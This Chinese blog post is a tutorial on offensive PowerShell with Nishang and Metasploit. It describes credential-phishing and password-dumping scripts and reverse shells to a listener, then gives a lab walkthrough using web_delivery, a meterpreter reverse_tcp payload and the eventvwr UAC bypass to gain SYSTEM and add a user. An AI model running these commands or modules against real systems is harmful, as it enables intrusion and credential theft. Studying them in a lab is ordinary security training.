当前位置:首页 > 未分类 > 正文内容

(原创)Powershell And Metasploit (上)

admin9年前 (2017-03-08)未分类174

00x01 #题外话

  • 作者: 墨 (X_Al3r)

  • 一篇不知道该用什么名字的文章!

00x02 #什么是 Powershell

PowerShell 一般指 Windows Power Shell

Powershell 是 Microsoft Windows 命令行 shell 程序和脚本环境,它提供了令人难以置信的活性和功能来管理 Windows 系统,现在 Windows 系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。

Powershell 的各系统版本

  1. Windows 2008 R2 - Version 2

  1. Windows 2012 - Version 3

  1. Windows 2012 R2 - Version 4

  1. Windows 2016 - Version 5

#Poswershell 的优秀之处

  1. 代码运行在内存中可以不去接触磁盘

  1. 从另一个系统中下载代码并执行

  1. 很多安全产品并不能监测到 powershell 的活动

  1. cmd.exe 通常被阻止运行,但是 powershell 不会。

00x03 #所需要准备的东西

  1. Nishanghttps://github.com/samratashok/nishang (本文主要工具,其他不做使用介绍)、

用于逆向工程的 PowerShell 模块,可进行反汇编托管以及非托管的代码、进行.NET 恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。

  1. LinuxKaLi: https://www.kali.org

#导入 Nishang 脚本

  1. 启用 Powershell

Win+R 启动 Powershell

  1. 加载 Nishang 脚本

命令:Import-Module .\nishang.psm1

记住,要加上.\否则会报错例如这样

00x04 模块介绍

#信息搜集

  1. Check-VM:它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息 (如:HVMWare,Virtual Box,) 来识别。

  1. Invoke-CredentialsPhish:这个脚本是用来欺骗用户输入账号密码信息的

他会一直持续到你输入正确为止 (无法关闭) 直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码

    • Useradmin:admin

    • PassWord:qwe123!@#

  1. FireBuster FireListener:可以对内网进行扫描,它会把包发给 FireListener

脚本作者的 Github 上面还提供了一个 Python 版的监听端:

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

  1. Get-Information:这个脚本可以获取目标机器上大量的信息 (FTP 访问,进程,计算机配置信息,无线网络和设备的信息,Hosts 信息等等非超丰富)。

还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用 Out-File 来将运行结果保存到指定文件:

Get-Information | Out-File D:\1.txt

  1. Get-LSASecret:该脚本可以获取 LSA 信息,但是使用的前提当然是你已经成功提升了权限的情况下。

因为执行这个脚本需要 32 位的 powershell(我的为 64)就不做演示了

  1. Get-PassHashes:这个脚本在 Administrator 的权限下,可以读出密码哈希值

可以使用-PSObjectFormat来格式化输出结果

  1. Get-WLAN-Keys:在 Administrator 的权限下,可以利用这个脚本来 dump 出 WLAN 文件的密钥信息

没有装 wlan 所以没有信息

  1. Invoke-MimikatzWdigestDowngrade:Dump 出 Windows 8.1 and Server 2012 的系统用户密码。

相信看到 Mimikatz 也就知道了,执行了 Windows 会锁屏

  1. Get-PassHints:从一个目标得到 Windows 用户的密码提示,没有密码提示,就不演示了

以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍

喜欢提权的小伙伴,干货来了~~~

#反弹 shell

  1. Invoke-PowerShellTcp:互交式 Powershell 反向 TCP 连接

首先我在 Kali (标题带有 kali 怎么能不启用 kali 呢) 上启用启用一个监听

然后开始在 Powershell 上使用 Invoke-PowerShellTcp 反弹一个 shell 过去

同样,windows 也可以挂载一个监听使用 powercat 即可

Powercat 项目地址:https://github.com/besimorhino/powercat

同样在 Powershell 上使用 Invoke-PowerShellTcp 反弹一个 shell 过去

同样,毫无例外

  1. Invoke-PowerShellUdp:互交式 Powershell 反向 udp 连接

同样我先在 Kali 上启用启用一个监听不过这次用的 ncat

  1. powercat:这款工具的强大我相信也不用我多说了吧,他被称之为 PowerShell 的 netcat 之前也有说,我就不细细介绍了

当然,反弹 shell 不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~

00x04 实战操作 Powershell 与 Metasploit

1. win10_BypassUAC (win10 提权)

    1. 攻击者 ip192.168.1.103

    1. 攻击者系统:Linux Kali

    1. 被攻击者 ip192.168.1.100

    1. 被攻击者系统:Win10

2. 攻击流程

  1. 使用 Metasploit 中的 web_delivery 模块生成一个 Powershell 脚本

  1. 被攻击者系统执行 Posershell 脚本

  1. msf 接收一个会话

  1. 使用 bypassuac 模块提升权限

3. 攻击开始

  1. 加载 web_delivery 模块

use exploit/multi/script/web_delivery

Show options查看所需要设置的信息

然后我在物理机上执行下 Metasploit 给我的 Powershell 执行代码

Metasploit 反弹得到一个 meterpreter 会话

    • 设置 target 为 2:set target 2

    • 加载一个 Payload:set payload windows/meterpreter/reverse_tcp

    • 设置 LHOST

    • 设置 LPORT

    • 开始攻击:Exploit

  1. 加载 BypassUac 模块

use exploit/windows/local/bypassuac_eventvwr

Show options查看所需配置

当然你需要换一下你的端口,否则会冲突

反弹得到一个会话

得到 system 权限

使用 shell 命令进入 cmd 添加用户

已经添加成功,如果直接添加是不可以的

    • 设置 session:set session(设置你刚刚获得的 meterpreter 会话)

    • 开始攻击:Exploit

结尾

Powershell And Metasploit (上) 结束

下会后续发布~~如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~

UAC 提权 (来自我们 demon 表哥的视频):

http://oc78wb8cz.bkt.clouddn.com/win10_bypassUAC.mp4

本文搜集许多资料做的小结,有如雷同,请勿责怪~


扫描二维码推送至手机访问。

版权声明:本文由克拉玛依三十年社团发布,如需转载请注明出处。

本文链接:https://www.klmyssn.com/?id=36

分享给朋友:

“(原创)Powershell And Metasploit (上)” 的相关文章

(原创)想学黑阔?这些书可以带你飞![web 安全书籍]

(原创)想学黑阔?这些书可以带你飞![web 安全书籍]

这些是我多年前收集的一些 web 安全相关书籍,虽当初未能坚持系统学习,但书籍本身质量较好,现分享给大家,希望能为想学 web 安全的朋友提供帮助!书籍资源获取百度云链接:http://pan.baidu.com/s/1jHVch9O提取密码:bauj...

(原创)求人不如求己 -- 剪辑音乐就是这么简单 [如何剪辑音乐]

(原创)求人不如求己 -- 剪辑音乐就是这么简单 [如何剪辑音乐]

每每到了学校有活动,需要播放歌曲时,QQ 就多几个好友,消息又 99+,不消问什么事情,就知道是找我剪辑歌曲的同学了。怎么说,我这人对别人提出的需求,都尽力去帮助的,在剪辑音乐这事情上,从没拒绝过,但年复一年,每次剪辑音乐其实很简单,但是量多,就比较影响自己时间了,我又不会拒绝别人,很是尴尬,所以在...

小讲堂心得

小讲堂心得

参加小讲堂活动,是受邀两位学习部的同学十分热情的邀请,为同学们讲讲网络安全方面的知识。我感到十分荣幸,但又有些许担忧,怕讲不好,因为网络安全这个学科涉及的知识面十分宽泛,网络安全从其本质上来讲就是网络上的信息安全。从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理...

(原创)Web 渗透实例之中国教育部青少年普法网站逻辑漏洞【网站逻辑漏洞】【网站逻辑漏洞挖掘】【网站逻辑漏洞实例】

(原创)Web 渗透实例之中国教育部青少年普法网站逻辑漏洞【网站逻辑漏洞】【网站逻辑漏洞挖掘】【网站逻辑漏洞实例】

重要声明:此漏洞于 2016 年 12 月 2 号由社团成员挖掘出来,已经第一时间提交到补天,现已修复,发出来仅供学习与讨论,请勿用于非法途径!!!一、漏洞基本信息漏洞关联网站:中国教育部青少年普法网站用户登录界面地址:https://user.qspfw.com具体漏洞页面:用户密码找回界面,地址...

(原创)web 渗透实例之克市教育局内网渗透 — 市十六小

(原创)web 渗透实例之克市教育局内网渗透 — 市十六小

引言下午元旦搞活动不上课,在机房浪一波。想到上次内网提权了学校饭卡管理服务器,便把 bugscan 的节点加到这个服务器了 —— 因为该服务器处于教育局内网,bugscan 直接扫出来了很多内网 IP 的网站,渗透了一波,如市三中、新一中、十八小、十六小等等。之前暑假对教育局 web 站点渗透都是外...